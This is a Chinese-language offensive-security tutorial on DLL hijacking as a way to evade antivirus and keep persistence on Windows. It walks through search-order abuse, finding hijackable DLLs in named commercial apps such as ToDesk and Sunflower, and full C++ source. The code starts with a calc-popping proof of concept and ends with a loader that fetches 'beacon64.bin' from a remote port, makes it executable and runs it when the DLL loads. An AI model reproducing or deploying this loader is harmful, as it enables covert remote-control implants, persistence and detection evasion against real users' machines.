0x00 DLL
概念百度很多,我这里用通俗的来讲dll就像一个独立的程序,不用的时候放在那里,用的时候再调用,非常灵活,动态链接最直接的好处是磁盘和内存的消耗减少,这也是dll最初的目的。
0x01 DLL劫持的作用
在攻防里,我们经常会遇到需要权限维持
,执行敏感命令
(比如添加管理用户等),权限提升
等场景;随着杀软的查杀手段愈来愈成熟,白加黑便成了简单有效的一个免杀手段,利用了微软Windows应用程序加载DLL文件的方式,使我们的黑dll通过拥有真正签名的白程序上线,杀软的信任程度会提升很多,查杀力度便会下降很多。
0x02 DLL劫持原理
我理解的dll劫持就是插队,下图是原本exe寻找需要的dll时的路径,正常系统没有做防护的dll会从exe的同级目录开始找dll,同级目录找不到dll就往下图的路径找,这时候如果exe的dll在后面的路径才能被找到,但是他是先从同级目录开始找,那么我们如果在同级目录下放一个名字一样的dll,那么exe就会先加载到我们的dll,所以我们可以在dll里做手脚达成我们的目的,这就是dll劫持。
至于白加黑的意思就是以白程序启动黑dll,这时候我们dll加载的进程是一个受信任的白程序,杀软对我们的查杀力度就会大大降低,这就是白加黑的用处。
在Windows XP SP2之后,Windows查找DLL的目录以及对应的顺序(SafeDllSearchMode 默认会被开启),默认注册表为:HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode
,其键值为1,此时调用顺序如下:
- 进程对应的应用程序所在目录(可理解为程序安装目录比如C:ProgramFilesuTorrent);
- 系统目录(即%windir%system32);
- 16位系统目录(即%windir%system);
- Windows目录(即%windir%);
- 当前目录(运行的某个文件所在目录,比如C:DocumentsandSettingsAdministratorDesktoptest);
- PATH环境变量中的各个目录;
而在Windows7及以上,系统没有了SafeDllSearchMode 而采用KnownDLLs,那么凡是此项下的DLL文件就会被禁止从EXE自身所在的目录下调用,而只能从系统目录即SYSTEM32目录下调用,其注册表位置:在HKLM的如下目录中HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs
0x02编写一个dll程序
会自动生成四个文件
其中dllmain.cpp代码如下
每个DLL都可以有一个入口点函数DllMain,系统会在不同时刻调用此函数。
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
BOOL APIENTRY DllMain( HMODULE hModule, // 模块句柄
DWORD ul_reason_for_call, // 调用原因
LPVOID lpReserved // 参数保留
)
{
switch (ul_reason_for_call) // 根据调用原因选择不不同的加载方式
{
case DLL_PROCESS_ATTACH: // DLL被某个程序加载时执行
case DLL_THREAD_ATTACH: // DLL被某个线程加载时执行
case DLL_THREAD_DETACH: // DLL被某个线程卸载时执行
case DLL_PROCESS_DETACH: //DLL被某个程序卸载时执行
break;
}
return TRUE;
}
我们可以在该文件下引入Windows.h库,然后编写一个msg的函数在DllMain。
#include <Windows.h>
void msg() {
MessageBox(0, L"Dll-1 load succeed!", 0, 0);
}
接下来在解决方案资源管理下的项目下打开头文件中的framework.h来导出msg函数.
#pragma once
#define WIN32_LEAN_AND_MEAN // 从 Windows 头文件中排除极少使用的内容
// Windows 头文件
#include <windows.h>
extern "C" __declspec(dllexport) void msg(void);
然后点击生成中的重新生成解决方案编译得到TestDll.dll文件。
注: 需要注意要劫持的程序是32位还是64位的,dll要编译成相对应的位数
查看exe/dll的位数
0x03 应用程序劫持dll
1.寻找合适的劫持dll
- 创建一个单独的文件夹
- 然后打开process monitor工具,在process monitor增加三个过滤条件
注:
path是需要contains,result是NAME NOT FOUND
- 创建单独的目录是为了方便让他运行时找不到处于当前目录下的dll
- 然后我们在monitor工具中筛选result is unknown,就可以找出运行exe时,哪些dll是在当前目录下被调用的,因为我们这里找的是劫持同一目录下的dll
- path is dll是为了筛选出dll
- 添加过滤规则后,双击Totask.exe启动,就会像下面一样捕捉到很多dll
- 如何挑选合适劫持的dll?
重点观察最下面的几个dll,因为他在我们运行的exe同级目录下返回的结果是NAME NOT FOUND 说明他在外面同级目录下尝试加载过,但是没有这个dll,那么我们现在在exe同级目录下添加一个黑dll,改成这些dll的名字,是否就可以形成dll劫持
挑选导出函数较少或者没有的,导出函数下面会介绍
挑选一些不像系统dll,比如小写的dll,因为一些系统dll在windows里已经做了防护
- 我们拿一个dll,重命名dwmapi.dll尝试一下
- 需要一个必要的zrtc.dll才能运行起来,那么我们就把zrtc.dll拉过来
出现这种报错,就是因为导出表与导入表对不上,
(因为exe与dll会有约定,获得dll有哪些函数的导出表,exe会形成一张导入表,他们需要对的上,而且导入表和导出表不需要一模一样,导出表可以包含导入表,意思就是导入表可以只需要三个函数,导出表可以有五个函数,只要导出表里面五个函数包含了导入表三个函数,就可以对的上)
2.寻找导出表
使用vs自带的dumpbin工具可以查看导出表(可以直接把dumpbin路径设在环境变量方便使用)
注: 如果一个dll在这个exe没有导入函数,那么在dumpbin里面就不会显示出来
- 以下是加入导出表的弹计算器dll(其实只多了最前面的函数声明,按照相同格式有几个导出函数写几个声明
不用vs自带的dumpbin也可以找一些pe结构查看小工具,去查看导入表也一样
3.弹计算器
以下面代码生成一个黑dll,修改成我们要劫持的dll的名字后放到exe同级目录下,运行exe
#include "pch.h"
#include <Windows.h>
extern "C" __declspec(dllexport) int D3D11CreateDevice()
{
return 0;
}
STARTUPINFO si = { 0 };
PROCESS_INFORMATION pi = { 0 };
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
CreateProcessA(NULL, // No module name (use command line)
(LPSTR)"calc.exe", // Command line
NULL, // Process handle not inheritable
NULL, // Thread handle not inheritable
FALSE, // Set handle inheritance to FALSE
0, // No creation flags
NULL, // Use parent's environment block
NULL, // Use parent's starting directory
(LPSTARTUPINFOA)&si, // Pointer to STARTUPINFO structure
(LPPROCESS_INFORMATION)&pi // Pointer to PROCESS_INFORMATION structure
);
case DLL_THREAD_ATTACH:
case 3:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
- 下面报错则是你导出函数写错了
- 把黑dll改名成我们想劫持的dll后执行Todesk.exe
4.尝试上线shellcode
加载器代码:
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
//extern "C" __declspec(dllexport) int DwmSetWindowAttribute()
//{
// return 0;
//}
extern "C" __declspec(dllexport) int D3D11CreateDevice()
{
return 0;
}
LPVOID shellcode_addr;
void fun()
{
char* recvbuf_ptr = (char*)malloc(400000);
char* ip = "";
char* RemotePort = "5002";
char* Resource = "beacon64.bin";
//getShellcode_Run(argv[1], argv[2], argv[3]);
int recvbuf_size = getShellcode_Run(ip, RemotePort, Resource, recvbuf_ptr);
shellcode_addr = VirtualAlloc(NULL, recvbuf_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
memcpy(shellcode_addr, recvbuf_ptr, recvbuf_size);
DWORD Oldprotect = 0;
VirtualProtect(shellcode_addr, recvbuf_size, PAGE_EXECUTE_READWRITE, &Oldprotect);
((void(*)())shellcode_addr)();
}
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
unsigned long ulThreadId = 0;
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)fun, NULL, 0, &ulThreadId);
}
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
上线效果(可能这个dll会重复加载几次所以会多上线几次
5.其他情况
向日葵的这个dll就明显不适合,他只能执行一次然后进程就奔溃了
但是他这个exe适合劫持,因为他不像todesk有一个必要的dll才能跑起来,所以可以找其他合适的dll进行劫持,不过一个必要的dll也不算多,有的需要四五个dll,甚至都跑不起来
phpstudy单独拉出来运行不了,我就把它放在原目录里操作,加完dwmapi.dll后程序还是会奔溃
6.能成功劫持的
向日葵
像这种有两个进程id的,一个进程不行就换另外一个进程的dll试试看